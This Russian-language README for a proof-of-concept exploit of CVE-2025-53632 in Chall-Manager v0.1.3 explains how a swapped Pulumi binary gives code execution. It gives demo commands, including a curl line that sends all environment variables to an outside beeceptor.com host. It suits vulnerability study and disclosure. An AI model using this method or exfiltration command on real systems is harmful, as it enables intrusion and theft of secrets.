
Эксплойт CVE-2025-53632 для подтверждения эксплуатируемости.
Этот репозиторий содержит эксплойт CVE-2025-53632, затрагивающий Chall-Manager < v0.1.4. Затронутые версии явно устарели и, скорее всего, никем не используются, поэтому я уверен, что в текущей версии нет вредоносной эксплуатируемости.
Этот репозиторий не даёт вам права атаковать кого-либо, а предназначен для образовательных целей.
[!WARNING] Судя по тому, как Chall-Manager работает со сценариями, он всё ещё полностью эксплуатируем без zip slip: достаточно подменить бинарник
pulumiв сценарии, чтобы при следующем выполнении запускался ваш произвольный код.
Мы демонстрируем атаку на Chall-Manager v0.1.3.
Представим открытый Chall-Manager (пожалуйста, не делайте так: он не предназначен для этого, так как это приложение класса RCE-on-demand).
При создании задания сценарий проверяется с помощью Pulumi preview. Над этим самым кодом нет никакого контроля, поэтому мы можем внедрить что угодно.
Для этого Chall-Manager использует auto API от Pulumi, который выполняет бинарник Pulumi. Он делает это без абсолютного пути, так как ожидает его в /pulumi/bin/pulumi ( начинается с ).
$PATH/pulumi/binИспользуя эту информацию, мы подменим программу pulumi, внедрив некий shell-код перед её выполнением.
Поскольку сценарий затем будет проверяться, подменённая программа pulumi будет выполнена, запустив скрипт.
С помощью этого скрипта вы теперь можете открыть reverse shell, перемещаться по инфраструктуре или внутри контейнера, раскрывать секреты (например, содержащиеся в переменных окружения) или даже содержимое заданий (например, флаг задания, если какой-то сценарий не был предварительно собран).
Для запуска этой демонстрации эксплойта вам понадобятся:
Запустите chall-manager.
docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
Запустите main.go
go run main.go --url localhost:8080
Проявите изобретательность в своём скрипте! Например, можно отправить информацию о системе третьей стороне...
go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
После завершения вы можете остановить демонстрационный Docker-контейнер Chall-Manager.
docker stop chall-manager && docker rm $_